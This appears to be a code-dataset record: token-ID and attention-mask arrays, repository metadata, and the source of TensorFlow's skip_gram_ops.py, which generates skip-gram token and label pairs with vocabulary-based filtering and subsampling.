4811, 626, 10621, 1133, 16538, 687, 881, 7003, 9, 267, 446, 1676, 63, 3620, 334, 6777, 1817, 365, 642, 4263, 1159, 1676, 12, 883, 506, 488, 8545, 590, 881, 370, 4263, 63, 466, 9, 267, 446, 465, 63, 3009, 342, 267, 446, 4668, 14502, 63, 6311, 342, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1817, 63, 354, 12, 1676, 63, 3620, 12, 1817, 63, 3620, 12, 4263, 63, 466, 12, 326, 4263, 63, 698, 12, 7854, 304, 267, 327, 25733, 1817, 267, 291, 14, 1224, 63, 354, 275, 1817, 63, 354, 267, 291, 14, 1708, 63, 3620, 275, 1676, 63, 3620, 267, 327, 3390, 26, 1817, 63, 3620, 365, 440, 20513, 6040, 737, 26621, 900, 14, 267, 291, 14, 1224, 63, 3620, 275, 1817, 63, 3620, 267, 327, 491, 1877, 540, 503, 32272, 267, 291, 14, 904, 63, 466, 275, 4263, 63, 466, 267, 327, 437, 769, 402, 499, 13, 11760, 370, 675, 315, 314, 5258, 8502, 402, 314, 10593, 14, 267, 327, 7048, 499, 13, 2960, 911, 1218, 1373, 4263, 5558, 315, 314, 5258, 8502, 14, 267, 291, 14, 904, 63, 4574, 275, 4263, 63, 698, 14, 362, 63, 904, 316, 63, 3406, 342, 267, 327, 437, 2809, 1314, 901, 334, 269, 481, 2692, 1692, 5640, 315, 314, 3837, 4263, 1930, 9, 267, 291, 14, 904, 63, 698, 275, 4263, 63, 698, 267, 327, 6596, 642, 4263, 2973, 1909, 31, 267, 291, 14, 16375, 275, 7854, 339, 347, 465, 63, 3009, 8, 277, 12, 6365, 12, 1950, 304, 267, 408, 267, 21687, 314, 2615, 1779, 6578, 31682, 10593, 2005, 1224, 5258, 2005, 1224, 14, 3972, 761, 275, 1163, 1224, 14, 1848, 761, 12, 1862, 267, 8502, 367, 642, 4263, 14, 267, 408, 267, 4263, 63, 9855, 275, 942, 267, 1862, 275, 942, 267, 18293, 275, 6365, 14, 3513, 63, 354, 63, 18447, 63, 3620, 267, 18293, 18, 275, 1950, 14, 1483, 14, 3513, 63, 354, 398, 327, 2654, 282, 4263, 5558, 367, 1924, 4092, 402, 4263, 316, 4362, 14, 267, 367, 1478, 12, 334, 12697, 63, 761, 12, 9085, 63, 761, 9, 315, 3874, 8, 277, 14, 904, 63, 4574, 304, 288, 4263, 63, 9855, 14, 740, 3508, 83, 4111, 83, 275, 450, 83, 4111, 83, 7, 450, 334, 355, 18293, 8, 277, 14, 1708, 63, 3620, 395, 355, 18293, 18, 8, 12697, 63, 761, 395, 355, 18293, 8, 277, 14, 1224, 63, 3620, 395, 355, 18293, 18, 8, 12071, 63, 761, 395, 288, 5082, 398, 327, 2654, 282, 2849, 5558, 6272, 23592, 367, 15685, 267, 327, 664, 63, 2911, 63, 23423, 342, 2529, 14, 267, 2402, 63, 2067, 275, 291, 14, 904, 63, 698, 14, 362, 63, 2911, 63, 23423, 8, 288, 6365, 14, 1131, 14, 4509, 63, 533, 12, 291, 14, 1224, 63, 3620, 12, 291, 14, 1708, 63, 3620, 9, 267, 340, 2402, 63, 2067, 26, 288, 2402, 63, 3009, 12, 2402, 63, 1162, 275, 6365, 14, 2014, 8, 2911, 63, 2067, 9, 288, 4263, 63, 9855, 14, 740, 360, 4042, 83, 3171, 450, 2402, 63, 3009, 9, 288, 1862, 14, 2880, 8, 2911, 63, 1162, 9, 398, 340, 440, 4263, 63, 9855, 26, 288, 327, 961, 5594, 506, 282, 4668, 641, 314, 1163, 1284, 402, 376, 3503, 14290, 901, 14, 288, 14290, 63, 698, 275, 2519, 8, 277, 14, 904, 63, 698, 12, 283, 698, 297, 291, 14, 904, 63, 698, 9, 288, 746, 1722, 8, 355, 298, 13005, 4046, 376, 2701, 5258, 8502, 14, 450, 83, 8103, 440, 1995, 1902, 298, 355, 298, 904, 316, 4362, 503, 2402, 24488, 2122, 450, 14290, 63, 698, 855, 533, 363, 288, 776, 267, 641, 63, 8501, 63, 3009, 275, 283, 2401, 1987, 904, 8, 904, 63, 9855, 9, 267, 5162, 63, 495, 275, 2125, 340, 291, 14, 1224, 63, 3620, 508, 291, 14, 1224, 63, 354, 587, 661, 450, 83, 7, 450, 291, 14, 1224, 63, 3620, 9, 267, 3875, 275, 1543, 83, 450, 83, 5, 83, 5258, 4366, 83, 3171, 450, 334, 277, 14, 904, 63, 466, 12, 18293, 8, 277, 14, 1224, 63, 354, 395, 5162, 63, 495, 12, 641, 63, 8501, 63, 3009, 9, 267, 372, 3875, 12, 1862, 339, 347, 4668, 14502, 63, 6311, 8, 277, 12, 1570, 63, 1130, 304, 267, 892, 63, 1708, 63, 3620, 275, 1570, 63, 1130, 14, 362, 8, 277, 14, 1708, 63 ]
[ 199, 6119, 1893, 31407, 666, 13955, 367, 1827, 14538, 14, 2832, 2997, 9682, 199, 1589, 5385, 2881, 14, 199, 624, 199, 3, 367, 8552, 13, 15390, 315, 5634, 413, 14, 845, 199, 504, 1639, 14, 1018, 14, 3924, 492, 9630, 21722, 221, 327, 20432, 26, 481, 8854, 199, 504, 1639, 14, 697, 14, 992, 14, 3009, 14, 5559, 492, 32272, 12, 491, 1877, 540, 421, 199, 533, 6879, 13005, 8, 1726, 304, 272, 408, 272, 8051, 701, 4263, 14538, 1233, 370, 6623, 314, 2376, 737, 1314, 282, 272, 3510, 13, 16611, 4263, 1990, 22040, 334, 692, 314, 8025, 15061, 370, 14312, 626, 272, 1919, 1183, 680, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1561, 63, 1712, 12, 931, 63, 1045, 63, 1247, 304, 267, 291, 14, 1896, 275, 1561, 63, 1712, 267, 327, 710, 931, 1468, 1090, 1146, 12, 642, 6952, 314, 931, 370, 314, 3510, 904, 14, 267, 291, 14, 1247, 63, 1045, 63, 515, 275, 931, 63, 1045, 63, 1247, 421, 199, 533, 9630, 8, 785, 304, 272, 986, 421, 199, 533, 25733, 8, 785, 304, 272, 408, 272, 8051, 701, 3875, 14, 3227, 436, 3875, 14, 4657, 9131, 370, 3550, 10593, 25089, 1901, 314, 272, 4442, 2397, 14, 2104, 2893, 12, 314, 5385, 4046, 4293, 506, 267, 6578, 31682, 10593, 298, 3972, 1224, 2, 377, 17, 5258, 1689, 1848, 1224, 21176, 3972, 1224, 63, 344, 2, 275, 298, 3972, 1224, 21176, 344, 531, 339, 961, 1021, 365, 1979, 30468, 1202, 315, 8133, 14, 3620, 63, 1130, 14, 2900, 4811, 315, 5162, 63, 1130, 272, 1471, 506, 25733, 9025, 701, 13070, 314, 2569, 3004, 436, 3102, 26, 267, 446, 1817, 63, 354, 334, 875, 9, 267, 446, 1817, 63, 3620, 334, 13893, 5162, 367, 314, 1817, 12, 883, 506, 488, 9, 267, 446, 4263, 63, 466, 334, 2425, 506, 488, 367, 5204, 4811, 626, 10621, 1133, 16538, 687, 881, 7003, 9, 267, 446, 1676, 63, 3620, 334, 6777, 1817, 365, 642, 4263, 1159, 1676, 12, 883, 506, 488, 8545, 590, 881, 370, 4263, 63, 466, 9, 267, 446, 465, 63, 3009, 342, 267, 446, 4668, 14502, 63, 6311, 342, 272, 408, 272, 347, 636, 826, 721, 277, 12, 1817, 63, 354, 12, 1676, 63, 3620, 12, 1817, 63, 3620, 12, 4263, 63, 466, 12, 326, 4263, 63, 698, 12, 7854, 304, 267, 327, 25733, 1817, 267, 291, 14, 1224, 63, 354, 275, 1817, 63, 354, 267, 291, 14, 1708, 63, 3620, 275, 1676, 63, 3620, 267, 327, 3390, 26, 1817, 63, 3620, 365, 440, 20513, 6040, 737, 26621, 900, 14, 267, 291, 14, 1224, 63, 3620, 275, 1817, 63, 3620, 267, 327, 491, 1877, 540, 503, 32272, 267, 291, 14, 904, 63, 466, 275, 4263, 63, 466, 267, 327, 437, 769, 402, 499, 13, 11760, 370, 675, 315, 314, 5258, 8502, 402, 314, 10593, 14, 267, 327, 7048, 499, 13, 2960, 911, 1218, 1373, 4263, 5558, 315, 314, 5258, 8502, 14, 267, 291, 14, 904, 63, 4574, 275, 4263, 63, 698, 14, 362, 63, 904, 316, 63, 3406, 342, 267, 327, 437, 2809, 1314, 901, 334, 269, 481, 2692, 1692, 5640, 315, 314, 3837, 4263, 1930, 9, 267, 291, 14, 904, 63, 698, 275, 4263, 63, 698, 267, 327, 6596, 642, 4263, 2973, 1909, 31, 267, 291, 14, 16375, 275, 7854, 339, 347, 465, 63, 3009, 8, 277, 12, 6365, 12, 1950, 304, 267, 408, 267, 21687, 314, 2615, 1779, 6578, 31682, 10593, 2005, 1224, 5258, 2005, 1224, 14, 3972, 761, 275, 1163, 1224, 14, 1848, 761, 12, 1862, 267, 8502, 367, 642, 4263, 14, 267, 408, 267, 4263, 63, 9855, 275, 942, 267, 1862, 275, 942, 267, 18293, 275, 6365, 14, 3513, 63, 354, 63, 18447, 63, 3620, 267, 18293, 18, 275, 1950, 14, 1483, 14, 3513, 63, 354, 398, 327, 2654, 282, 4263, 5558, 367, 1924, 4092, 402, 4263, 316, 4362, 14, 267, 367, 1478, 12, 334, 12697, 63, 761, 12, 9085, 63, 761, 9, 315, 3874, 8, 277, 14, 904, 63, 4574, 304, 288, 4263, 63, 9855, 14, 740, 3508, 83, 4111, 83, 275, 450, 83, 4111, 83, 7, 450, 334, 355, 18293, 8, 277, 14, 1708, 63, 3620, 395, 355, 18293, 18, 8, 12697, 63, 761, 395, 355, 18293, 8, 277, 14, 1224, 63, 3620, 395, 355, 18293, 18, 8, 12071, 63, 761, 395, 288, 5082, 398, 327, 2654, 282, 2849, 5558, 6272, 23592, 367, 15685, 267, 327, 664, 63, 2911, 63, 23423, 342, 2529, 14, 267, 2402, 63, 2067, 275, 291, 14, 904, 63, 698, 14, 362, 63, 2911, 63, 23423, 8, 288, 6365, 14, 1131, 14, 4509, 63, 533, 12, 291, 14, 1224, 63, 3620, 12, 291, 14, 1708, 63, 3620, 9, 267, 340, 2402, 63, 2067, 26, 288, 2402, 63, 3009, 12, 2402, 63, 1162, 275, 6365, 14, 2014, 8, 2911, 63, 2067, 9, 288, 4263, 63, 9855, 14, 740, 360, 4042, 83, 3171, 450, 2402, 63, 3009, 9, 288, 1862, 14, 2880, 8, 2911, 63, 1162, 9, 398, 340, 440, 4263, 63, 9855, 26, 288, 327, 961, 5594, 506, 282, 4668, 641, 314, 1163, 1284, 402, 376, 3503, 14290, 901, 14, 288, 14290, 63, 698, 275, 2519, 8, 277, 14, 904, 63, 698, 12, 283, 698, 297, 291, 14, 904, 63, 698, 9, 288, 746, 1722, 8, 355, 298, 13005, 4046, 376, 2701, 5258, 8502, 14, 450, 83, 8103, 440, 1995, 1902, 298, 355, 298, 904, 316, 4362, 503, 2402, 24488, 2122, 450, 14290, 63, 698, 855, 533, 363, 288, 776, 267, 641, 63, 8501, 63, 3009, 275, 283, 2401, 1987, 904, 8, 904, 63, 9855, 9, 267, 5162, 63, 495, 275, 2125, 340, 291, 14, 1224, 63, 3620, 508, 291, 14, 1224, 63, 354, 587, 661, 450, 83, 7, 450, 291, 14, 1224, 63, 3620, 9, 267, 3875, 275, 1543, 83, 450, 83, 5, 83, 5258, 4366, 83, 3171, 450, 334, 277, 14, 904, 63, 466, 12, 18293, 8, 277, 14, 1224, 63, 354, 395, 5162, 63, 495, 12, 641, 63, 8501, 63, 3009, 9, 267, 372, 3875, 12, 1862, 339, 347, 4668, 14502, 63, 6311, 8, 277, 12, 1570, 63, 1130, 304, 267, 892, 63, 1708, 63, 3620, 275, 1570, 63, 1130, 14, 362, 8, 277, 14, 1708, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
maciekcc/tensorflow
tensorflow/contrib/text/python/ops/skip_gram_ops.py
25
20284
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Skip-gram sampling ops from https://arxiv.org/abs/1301.3781.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import csv from tensorflow.contrib import lookup from tensorflow.contrib.text.python.ops import gen_skip_gram_ops from tensorflow.contrib.util import loader from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import random_seed from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import random_ops from tensorflow.python.platform import gfile from tensorflow.python.platform import resource_loader from tensorflow.python.training import input as input_ops _checkpoint_ops_so = loader.load_op_library( resource_loader.get_path_to_datafile("_skip_gram_ops.so")) ops.NotDifferentiable("SkipGramGenerateCandidates") def skip_gram_sample(input_tensor, min_skips=1, max_skips=5, start=0, limit=-1, emit_self_as_target=False, vocab_freq_table=None, vocab_min_count=None, vocab_subsampling=None, corpus_size=None, batch_size=None, batch_capacity=None, seed=None, name=None): """Generates skip-gram token and label paired Tensors from the input tensor. Generates skip-gram `("token", "label")` pairs using each element in the rank-1 `input_tensor` as a token. The window size used for each token will be randomly selected from the range specified by `[min_skips, max_skips]`, inclusive. See https://arxiv.org/abs/1301.3781 for more details about skip-gram. For example, given `input_tensor = ["the", "quick", "brown", "fox", "jumps"]`, `min_skips = 1`, `max_skips = 2`, `emit_self_as_target = False`, the output `(tokens, labels)` pairs for the token "quick" will be randomly selected from either `(tokens=["quick", "quick"], labels=["the", "brown"])` for 1 skip, or `(tokens=["quick", "quick", "quick"], labels=["the", "brown", "fox"])` for 2 skips. If `emit_self_as_target = True`, each token will also be emitted as a label for itself. From the previous example, the output will be either `(tokens=["quick", "quick", "quick"], labels=["the", "quick", "brown"])` for 1 skip, or `(tokens=["quick", "quick", "quick", "quick"], labels=["the", "quick", "brown", "fox"])` for 2 skips. The same process is repeated for each element of `input_tensor` and concatenated together into the two output rank-1 `Tensors` (one for all the tokens, another for all the labels). If `vocab_freq_table` is specified, tokens in `input_tensor` that are not present in the vocabulary are discarded. Tokens whose frequency counts are below `vocab_min_count` are also discarded. Tokens whose frequency proportions in the corpus exceed `vocab_subsampling` may be randomly down-sampled. See Eq. 5 in http://arxiv.org/abs/1310.4546 for more details about subsampling. Due to the random window sizes used for each token, the lengths of the outputs are non-deterministic, unless `batch_size` is specified to batch the outputs to always return `Tensors` of length `batch_size`. Args: input_tensor: A rank-1 `Tensor` from which to generate skip-gram candidates. min_skips: `int` or scalar `Tensor` specifying the minimum window size to randomly use for each token. Must be >= 0 and <= `max_skips`. If `min_skips` and `max_skips` are both 0, the only label outputted will be the token itself when `emit_self_as_target = True` - or no output otherwise. max_skips: `int` or scalar `Tensor` specifying the maximum window size to randomly use for each token. Must be >= 0. start: `int` or scalar `Tensor` specifying the position in `input_tensor` from which to start generating skip-gram candidates. limit: `int` or scalar `Tensor` specifying the maximum number of elements in `input_tensor` to use in generating skip-gram candidates. -1 means to use the rest of the `Tensor` after `start`. emit_self_as_target: `bool` or scalar `Tensor` specifying whether to emit each token as a label for itself. vocab_freq_table: (Optional) A lookup table (subclass of `lookup.InitializableLookupTableBase`) that maps tokens to their raw frequency counts. If specified, any token in `input_tensor` that is not found in `vocab_freq_table` will be filtered out before generating skip-gram candidates. While this will typically map to integer raw frequency counts, it could also map to float frequency proportions. `vocab_min_count` and `corpus_size` should be in the same units as this. vocab_min_count: (Optional) `int`, `float`, or scalar `Tensor` specifying minimum frequency threshold (from `vocab_freq_table`) for a token to be kept in `input_tensor`. If this is specified, `vocab_freq_table` must also be specified - and they should both be in the same units. vocab_subsampling: (Optional) `float` specifying frequency proportion threshold for tokens from `input_tensor`. Tokens that occur more frequently (based on the ratio of the token's `vocab_freq_table` value to the `corpus_size`) will be randomly down-sampled. Reasonable starting values may be around 1e-3 or 1e-5. If this is specified, both `vocab_freq_table` and `corpus_size` must also be specified. See Eq. 5 in http://arxiv.org/abs/1310.4546 for more details. corpus_size: (Optional) `int`, `float`, or scalar `Tensor` specifying the total number of tokens in the corpus (e.g., sum of all the frequency counts of `vocab_freq_table`). Used with `vocab_subsampling` for down-sampling frequently occurring tokens. If this is specified, `vocab_freq_table` and `vocab_subsampling` must also be specified. batch_size: (Optional) `int` specifying batch size of returned `Tensors`. batch_capacity: (Optional) `int` specifying batch capacity for the queue used for batching returned `Tensors`. Only has an effect if `batch_size` > 0. Defaults to 100 * `batch_size` if not specified. seed: (Optional) `int` used to create a random seed for window size and subsampling. See `set_random_seed` docs for behavior. name: (Optional) A `string` name or a name scope for the operations. Returns: A `tuple` containing (token, label) `Tensors`. Each output `Tensor` is of rank-1 and has the same type as `input_tensor`. The `Tensors` will be of length `batch_size`; if `batch_size` is not specified, they will be of random length, though they will be in sync with each other as long as they are evaluated together. Raises: ValueError: If `vocab_freq_table` is not provided, but `vocab_min_count`, `vocab_subsampling`, or `corpus_size` is specified. If `vocab_subsampling` and `corpus_size` are not both present or both absent. """ if vocab_freq_table is None and (vocab_min_count is not None or vocab_subsampling is not None or corpus_size is not None): raise ValueError( "vocab_freq_table is not provided, but vocab_min_count={}, " "vocab_subsampling={}, or corpus_size={} is not None. These settings " "are useless without a vocab_freq_table.".format( vocab_min_count, vocab_subsampling, corpus_size)) if (vocab_subsampling is None) != (corpus_size is None): raise ValueError( "vocab_subsampling is {} while corpus_size is {} - both must be " "provided in order for subsampling to work.".format( vocab_subsampling, corpus_size)) with ops.name_scope( name, "skip_gram_sample", values=[input_tensor, min_skips, max_skips, start, limit]): input_tensor = _filter_input( input_tensor=input_tensor, vocab_freq_table=vocab_freq_table, vocab_min_count=vocab_min_count, vocab_subsampling=vocab_subsampling, corpus_size=corpus_size, seed=seed) seed1, seed2 = random_seed.get_seed(seed) tokens, labels = gen_skip_gram_ops.skip_gram_generate_candidates( input_tensor=input_tensor, min_skips=min_skips, max_skips=max_skips, start=start, limit=limit, emit_self_as_target=emit_self_as_target, # Note that seed here should be seed1! This is due to # GuardedPhiloxRandom's hard-coded attributes of "seed" and "seed2". seed=seed1, seed2=seed2) # TODO(weiho): If the need arises, add support for sparse input_tensor that # figures out sentence boundaries, then calls # skip_gram_generate_candidates() on each sentence. # Batches the (tokens, labels) outputs so that they will be of deterministic # batch_size, to facilitate feeding them into the rest of the network. if batch_size is not None and batch_size > 0: batch_capacity = (batch_capacity if (batch_capacity is not None and batch_capacity > 0) else 100 * batch_size) return input_ops.batch( [tokens, labels], batch_size, capacity=batch_capacity, enqueue_many=True) return tokens, labels def skip_gram_sample_with_text_vocab(input_tensor, vocab_freq_file, vocab_token_index=0, vocab_token_dtype=dtypes.string, vocab_freq_index=1, vocab_freq_dtype=dtypes.float64, vocab_delimiter=",", vocab_min_count=0, vocab_subsampling=None, min_skips=1, max_skips=5, start=0, limit=-1, emit_self_as_target=False, batch_size=None, batch_capacity=None, seed=None, name=None): """Skip-gram sampling with a text vocabulary file. Wrapper around `skip_gram_sample()` for use with a text vocabulary file. The vocabulary file is expected to be a plain-text file, with lines of `vocab_delimiter`-separated columns. The `vocab_token_index` column should contain the vocabulary term, while the `vocab_freq_index` column should contain the number of times that term occurs in the corpus. For example, with a text vocabulary file of: ``` bonjour,fr,42 hello,en,777 hola,es,99 ``` You should set `vocab_delimiter=","`, `vocab_token_index=0`, and `vocab_freq_index=2`. See `skip_gram_sample()` documentation for more details about the skip-gram sampling process. Args: input_tensor: A rank-1 `Tensor` from which to generate skip-gram candidates. vocab_freq_file: `string` specifying full file path to the text vocab file. vocab_token_index: `int` specifying which column in the text vocab file contains the tokens. vocab_token_dtype: `DType` specifying the format of the tokens in the text vocab file. vocab_freq_index: `int` specifying which column in the text vocab file contains the frequency counts of the tokens. vocab_freq_dtype: `DType` specifying the format of the frequency counts in the text vocab file. vocab_delimiter: `string` specifying the delimiter used in the text vocab file. vocab_min_count: `int`, `float`, or scalar `Tensor` specifying minimum frequency threshold (from `vocab_freq_file`) for a token to be kept in `input_tensor`. This should correspond with `vocab_freq_dtype`. vocab_subsampling: (Optional) `float` specifying frequency proportion threshold for tokens from `input_tensor`. Tokens that occur more frequently will be randomly down-sampled. Reasonable starting values may be around 1e-3 or 1e-5. See Eq. 5 in http://arxiv.org/abs/1310.4546 for more details. min_skips: `int` or scalar `Tensor` specifying the minimum window size to randomly use for each token. Must be >= 0 and <= `max_skips`. If `min_skips` and `max_skips` are both 0, the only label outputted will be the token itself. max_skips: `int` or scalar `Tensor` specifying the maximum window size to randomly use for each token. Must be >= 0. start: `int` or scalar `Tensor` specifying the position in `input_tensor` from which to start generating skip-gram candidates. limit: `int` or scalar `Tensor` specifying the maximum number of elements in `input_tensor` to use in generating skip-gram candidates. -1 means to use the rest of the `Tensor` after `start`. emit_self_as_target: `bool` or scalar `Tensor` specifying whether to emit each token as a label for itself. batch_size: (Optional) `int` specifying batch size of returned `Tensors`. batch_capacity: (Optional) `int` specifying batch capacity for the queue used for batching returned `Tensors`. Only has an effect if `batch_size` > 0. Defaults to 100 * `batch_size` if not specified. seed: (Optional) `int` used to create a random seed for window size and subsampling. See [`set_random_seed`](../../g3doc/python/constant_op.md#set_random_seed) for behavior. name: (Optional) A `string` name or a name scope for the operations. Returns: A `tuple` containing (token, label) `Tensors`. Each output `Tensor` is of rank-1 and has the same type as `input_tensor`. The `Tensors` will be of length `batch_size`; if `batch_size` is not specified, they will be of random length, though they will be in sync with each other as long as they are evaluated together. Raises: ValueError: If `vocab_token_index` or `vocab_freq_index` is less than 0 or exceeds the number of columns in `vocab_freq_file`. If `vocab_token_index` and `vocab_freq_index` are both set to the same column. If any token in `vocab_freq_file` has a negative frequency. """ if vocab_token_index < 0 or vocab_freq_index < 0: raise ValueError( "vocab_token_index={} and vocab_freq_index={} must both be >= 0.". format(vocab_token_index, vocab_freq_index)) if vocab_token_index == vocab_freq_index: raise ValueError( "vocab_token_index and vocab_freq_index should be different, but are " "both {}.".format(vocab_token_index)) # Iterates through the vocab file and calculates the number of vocab terms as # well as the total corpus size (by summing the frequency counts of all the # vocab terms). corpus_size = 0.0 vocab_size = 0 with gfile.GFile(vocab_freq_file, mode="r") as f: reader = csv.reader(f, delimiter=vocab_delimiter) for row in reader: if vocab_token_index >= len(row) or vocab_freq_index >= len(row): raise ValueError( "Row in vocab file only has {} columns, so vocab_token_index={} or " "vocab_freq_index={} is out of bounds. Row content: {}".format( len(row), vocab_token_index, vocab_freq_index, row)) vocab_size += 1 freq = vocab_freq_dtype.as_numpy_dtype(row[vocab_freq_index]) if freq < 0: raise ValueError( "Row in vocab file has negative frequency of {}. Row content: {}". format(freq, row)) # Note: tokens whose frequencies are below vocab_min_count will still # contribute to the total corpus size used for vocab subsampling. corpus_size += freq vocab_freq_table = lookup.HashTable( lookup.TextFileInitializer( filename=vocab_freq_file, key_dtype=vocab_token_dtype, key_index=vocab_token_index, value_dtype=vocab_freq_dtype, value_index=vocab_freq_index, vocab_size=vocab_size, delimiter=vocab_delimiter), # For vocab terms not in vocab file, use a default value of -1. default_value=-1) return skip_gram_sample( input_tensor, min_skips=min_skips, max_skips=max_skips, start=start, limit=limit, emit_self_as_target=emit_self_as_target, vocab_freq_table=vocab_freq_table, vocab_min_count=vocab_min_count, vocab_subsampling=vocab_subsampling, # corpus_size is not used unless vocab_subsampling is specified. corpus_size=None if vocab_subsampling is None else corpus_size, batch_size=batch_size, batch_capacity=batch_capacity, seed=seed, name=name) def _filter_input(input_tensor, vocab_freq_table, vocab_min_count, vocab_subsampling, corpus_size, seed): """Filters input tensor based on vocab freq, threshold, and subsampling.""" if vocab_freq_table is None: return input_tensor if not isinstance(vocab_freq_table, lookup.InitializableLookupTableBase): raise ValueError( "vocab_freq_table must be a subclass of " "InitializableLookupTableBase (such as HashTable) instead of type " "{}.".format(type(vocab_freq_table))) with ops.name_scope( "filter_vocab", values=[vocab_freq_table, input_tensor, vocab_min_count]): freq = vocab_freq_table.lookup(input_tensor) # Filters out elements in input_tensor that are not found in # vocab_freq_table (table returns a default value of -1 specified above when # an element is not found). mask = math_ops.not_equal(freq, vocab_freq_table.default_value) # Filters out elements whose vocab frequencies are less than the threshold. if vocab_min_count is not None: cast_threshold = math_ops.cast(vocab_min_count, freq.dtype) mask = math_ops.logical_and(mask, math_ops.greater_equal(freq, cast_threshold)) input_tensor = array_ops.boolean_mask(input_tensor, mask) freq = array_ops.boolean_mask(freq, mask) if not vocab_subsampling: return input_tensor if vocab_subsampling < 0 or vocab_subsampling > 1: raise ValueError( "Invalid vocab_subsampling={} - it should be within range [0, 1].". format(vocab_subsampling)) # Subsamples the input tokens based on vocabulary frequency and # vocab_subsampling threshold (ie randomly discard commonly appearing # tokens). with ops.name_scope( "subsample_vocab", values=[input_tensor, freq, vocab_subsampling]): corpus_size = math_ops.cast(corpus_size, dtypes.float64) freq = math_ops.cast(freq, dtypes.float64) vocab_subsampling = math_ops.cast(vocab_subsampling, dtypes.float64) # From tensorflow_models/tutorials/embedding/word2vec_kernels.cc, which is # suppose to correlate with Eq. 5 in http://arxiv.org/abs/1310.4546. keep_prob = ((math_ops.sqrt(freq / (vocab_subsampling * corpus_size)) + 1.0) * (vocab_subsampling * corpus_size / freq)) random_prob = random_ops.random_uniform( array_ops.shape(freq), minval=0, maxval=1, dtype=dtypes.float64, seed=seed) mask = math_ops.less_equal(random_prob, keep_prob) return array_ops.boolean_mask(input_tensor, mask)
apache-2.0
[ 3, 1898, 9708, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 7738, 13, 1679, 15877, 4156, 687, 4178, 921, 27290, 14, 1308, 15, 2101, 15, 10067, 14, 1401, 2835, 1041, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 7392, 199, 199, 504, 3228, 14, 2828, 492, 4237, 199, 504, 3228, 14, 2828, 14, 505, 14, 1548, 14, 1483, 492, 3805, 63, 2759, 63, 1679, 63, 1483, 199, 504, 3228, 14, 2828, 14, 1974, 492, 5077, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2196, 63, 5176, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 2196, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 26532, 199, 504, 3228, 14, 1548, 14, 3246, 492, 2073, 63, 3422, 199, 504, 3228, 14, 1548, 14, 7588, 492, 1324, 465, 1324, 63, 1483, 199, 199, 63, 10109, 63, 1483, 63, 1152, 275, 5077, 14, 912, 63, 411, 63, 4342, 8, 272, 